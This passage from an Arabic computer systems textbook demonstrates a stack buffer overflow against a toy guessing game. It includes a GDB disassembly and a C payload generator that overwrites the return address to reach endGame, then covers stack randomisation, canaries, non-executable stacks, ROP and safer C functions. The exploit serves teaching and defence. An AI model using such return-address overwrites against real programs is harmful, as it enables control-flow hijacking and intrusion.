8.10.5. تجاوز مخزن مؤقت أذكى: المحاولة الثانية
حطّم مثالنا الأول المكدّس باستبدال السجل %ebp وعنوان الإرجاع بقيم غير ذات معنى، ما تسبب في انهيار البرنامج. والمهاجم الذي يهدف إلى مجرد إسقاط برنامج ما سيكون راضيًا عند هذه النقطة. غير أن هدفنا هو خداع لعبة التخمين لتعيد 0، ما يدل على أننا فزنا باللعبة. ونحقّق ذلك بملء مكدّس الاستدعاء ببيانات أكثر معنى من القيم غير ذات المعنى. فمثلًا، يمكننا استبدال المكدّس بحيث يُستبدل عنوان الإرجاع بعنوان الدالة endGame. عندئذٍ، عندما يحاول البرنامج العودة من main، سينفّذ endGame بدلًا من الانهيار بخطأ تجزئة.
لمعرفة عنوان endGame، لنفحص secret مرة أخرى في GDB:
$ gdb secret
(gdb) disas endGame
Dump of assembler code for function endGame:
0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x18,%esp
0x0804856a <+6>: movl $0x80486fe,(%esp)
0x08048571 <+13>: call 0x8048390 <puts@plt>
0x08048576 <+18>: movl $0x0,(%esp)
0x0804857d <+25>: call 0x80483b0 <exit@plt>
End of assembler dump.
لاحظ أن endGame تبدأ عند العنوان 0x08048564. ويوضّح الشكل 4 استغلالًا نموذجيًا يجبر secret على تشغيل الدالة endGame.
الشكل 4. سلسلة نموذجية يمكن أن تجبر secret على تنفيذ الدالة endGame
ومرة أخرى، بما أن x86 نظام little endian ينمو فيه المكدّس نحو العناوين الأدنى، تظهر بايتات عنوان الإرجاع بترتيب معكوس.
يوضّح البرنامج التالي كيف يمكن لمهاجم إنشاء الاستغلال السابق:
#include <stdio.h>
char ebuff[]=
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /*first 10 bytes of junk*/
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /*next 10 bytes of junk*/
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30" /*following 10 bytes of junk*/
"\x31\x32" /*last 2 bytes of junk*/
"\x64\x85\x04\x08" /*address of endGame (little endian)*/
;
int main(void) {
int i;
for (i = 0; i < sizeof(ebuff); i++) { /*print each character*/
printf("%c", ebuff[i]);
}
return 0;
}
تشير البادئة \x قبل كل عدد إلى أن العدد مُنسَّق كتمثيل سداسي عشري لمحرف. وبعد تعريف ebuff[]، تطبع الدالة main محتواه ببساطة، محرفًا محرفًا. وللحصول على سلسلة البايتات المرتبطة، ترجم هذا البرنامج وشغّله كما يلي:
$ gcc -o genEx genEx.c
$ ./genEx > exploit
لاستخدام الملف exploit كإدخال لـscanf، يكفي تشغيل secret مع exploit كما يلي:
$ ./secret < exploit
Enter secret number:
You are so wrong!
You win!
يطبع البرنامج "You are so wrong!" لأن السلسلة الموجودة في exploit ليست الرقم السري. غير أن البرنامج يطبع أيضًا السلسلة "You win!" وتذكّر، مع ذلك، أن هدفنا هو خداع البرنامج ليعيد 0. وفي نظام أكبر، حيث يتابع برنامج خارجي مفهوم "النجاح"، غالبًا ما يكون الأهم ما يعيده البرنامج، لا ما يطبعه.
ويعطي فحص قيمة الإرجاع:
$ echo $?
0
استغلالنا يعمل! لقد فزنا باللعبة!
8.10.6. الحماية من تجاوز المخزن المؤقت
غيّر المثال الذي عرضناه مسار التحكم في الملف التنفيذي secret، وأجبره على إعادة قيمة صفرية مرتبطة بالنجاح. غير أن استغلالًا كهذا قد يسبب ضررًا حقيقيًا. علاوة على ذلك، كانت بعض الأنظمة الحاسوبية الأقدم تنفّذ بايتات من ذاكرة المكدّس. فإذا وضع مهاجم بايتات مرتبطة بتعليمات التجميع على مكدّس الاستدعاء، فستفسّر وحدة المعالجة المركزية هذه البايتات كتعليمات حقيقية، ما يمكّن المهاجم من إجبار المعالج على تنفيذ أي شيفرة عشوائية يختارها. ولحسن الحظ، توجد استراتيجيات تستخدمها الأنظمة الحاسوبية الحديثة لجعل تنفيذ استغلالات تجاوز المخزن المؤقت أصعب على المهاجمين:
- عشوائية المكدّس: يخصّص نظام التشغيل عنوان بداية المكدّس في موقع عشوائي من ذاكرة المكدّس، ما يجعل موضع/حجم مكدّس الاستدعاء يتغير من تشغيل لآخر للبرنامج. فالأجهزة المتعددة التي تشغّل الشيفرة نفسها سيكون لها عناوين مكدّس مختلفة. وتستخدم أنظمة Linux الحديثة عشوائية المكدّس كممارسة قياسية. غير أن مهاجمًا مصمّمًا يمكنه تنفيذ الهجوم بالقوة الغاشمة، بمحاولة تكرار الهجمات بعناوين مختلفة. ومن الحيل الشائعة استخدام زحلقة NOP (NOP sled) (أو الانزلاق)، أي عدد كبير من تعليمات
nop، قبل شيفرة الاستغلال الفعلية. وتنفيذ التعليمةnop(0x90) لا أثر له سوى زيادة عدّاد البرنامج إلى التعليمة التالية. وطالما تمكن المهاجم من جعل وحدة المعالجة المركزية تنفّذ في مكان ما داخل زحلقة NOP، فستؤدي الزحلقة في النهاية إلى شيفرة الاستغلال التي تتبعها. وتفصّل مقالة Aleph One بعنوان Smashing the Stack for Fun and Profit6 آلية هذا النوع من الهجمات. - كشف فساد المكدّس: خط دفاع آخر هو محاولة كشف فساد المكدّس. وتستخدم الإصدارات الحديثة من GCC حامي مكدّس يُعرف بـالكناري (canary) يعمل حارسًا بين المخزن المؤقت وبقية عناصر المكدّس. والكناري قيمة تُخزَّن في قسم غير قابل للكتابة من الذاكرة ويمكن مقارنتها بقيمة تُوضع على المكدّس. وإذا "مات" الكناري أثناء تنفيذ البرنامج، يعلم البرنامج أنه تحت هجوم فيُجهض مع رسالة خطأ. غير أن مهاجمًا بارعًا يمكنه استبدال الكناري لمنع البرنامج من كشف فساد المكدّس.
- تقييد المناطق القابلة للتنفيذ: في خط الدفاع هذا، تُقيَّد الشيفرة القابلة للتنفيذ بمناطق معينة فقط من الذاكرة. وبعبارة أخرى، لم يعد مكدّس الاستدعاء قابلًا للتنفيذ. غير أنه حتى هذا الدفاع يمكن التغلّب عليه. ففي هجوم يستخدم البرمجة الموجّهة بالعودة (return-oriented programming, ROP)، يمكن للمهاجم "انتقاء" تعليمات من مناطق قابلة للتنفيذ والقفز من تعليمة إلى أخرى لبناء استغلال. وتوجد أمثلة شهيرة على ذلك على الإنترنت، خصوصًا في ألعاب الفيديو7.
غير أن أفضل خط دفاع هو المبرمج دائمًا. لمنع هجمات تجاوز المخزن المؤقت على برامجك، استخدم دوال C ذات محدّدات الطول كلما أمكن وأضف شيفرة تنفّذ فحص حدود المصفوفات. ومن الأهمية بمكان أن تطابق أي مصفوفات معرّفة محدّدات الطول المختارة. ويسرد الجدول 1 بعض دوال C "السيئة" الشائعة المعرّضة لتجاوز المخزن المؤقت والدالة "الجيدة" المقابلة التي ينبغي استخدامها (افترض أن buf مخصّصة بـ12 بايت).
| بدلًا من: | استخدم: |
|---|---|
gets(buf) |
fgets(buf, 12, stdin) |
scanf("%s", buf) |
scanf("%12s", buf) |
strcpy(buf2, buf) |
strncpy(buf2, buf, 12) |
strcat(buf2, buf) |
strncat(buf2, buf, 12) |
sprintf(buf, "%d", num) |
snprintf(buf, 12, "%d", num) |
لم يعد الملف التنفيذي secret2 (secret2.tar.gz) يحمل ثغرة تجاوز المخزن المؤقت. وإليك الدالة main لهذا الملف التنفيذي الجديد (main2.c):
#include <stdio.h>
#include <stdlib.h>
#include "other.h" //contain secret function definitions
/*prints out the You Win! message*/
void endGame(void) {
printf("You win!\n");
exit(0);
}
/*main function of the game*/
int main(void) {
int guess, secret, len;
char buf[12]; //buffer (12 bytes long)
printf("Enter secret number:\n");
scanf("%12s", buf); //read guess from user input (fixed!)
guess = atoi(buf); //convert to an integer
secret=getSecretCode(); //call the getSecretCode function
//check to see if guess is correct
if (guess == secret) {
printf("You got it right!\n");
}
else {
printf("You are so wrong!\n");
return 1; //if incorrect, exit
}
printf("Enter the secret string to win:\n");
scanf("%12s", buf); //get secret string from user input (fixed!)
guess = calculateValue(buf, strlen(buf)); //call calculateValue function
//check to see if guess is correct
if (guess != secret) {
printf("You lose!\n");
return 2; //if guess is wrong, exit
}
/*if both the secret string and number are correct
call endGame()*/
endGame();
return 0;
}
لاحظ أننا أضفنا محدّد طول إلى جميع استدعاءات scanf، ما يجعل الدالة scanf تتوقف عن القراءة من الإدخال بعد قراءة أول 12 بايت. ولم تعد سلسلة الاستغلال تكسر البرنامج:
$ ./secret2 < exploit
Enter secret number:
You are so wrong!
$ echo $?
1
بالطبع، لا يزال بإمكان أي قارئ يملك مهارات أساسية في الهندسة العكسية الفوز بلعبة التخمين بتحليل شيفرة التجميع. وإذا لم تكن قد حاولت التغلّب على البرنامج بعد بالهندسة العكسية، فنشجّعك على ذلك الآن.
المراجع
- Mohit Kumar. ثغرة حرجة في Skype تتيح للقراصنة تنفيذ شيفرة خبيثة عن بُعد. 2017.
- Tamir Zahavi-Brunner. CVE-2017-13253: تجاوز المخزن المؤقت في خدمات Android DRM متعددة. 2018.
- Tom Spring. Google ترقّع خطأ متصفح 'بالغ الخطورة'. 2017.
- Christopher Kelty. دودة موريس Limn Magazine، العدد 1. العدد 1، Systemic Risk. 2011.
- David Auerbach. حروب الدردشة: Microsoft ضد AOL NplusOne Magazine، العدد 19. ربيع 2014.
- Aleph One. تحطيم المكدّس للمتعة والفائدة. 1996.
- DotsAreCool. انتقال شاشة النهاية في Super Mario World (مثال على ROP في Nintendo). 2015.
- تمارين الفصل 8 (قيد الإعداد)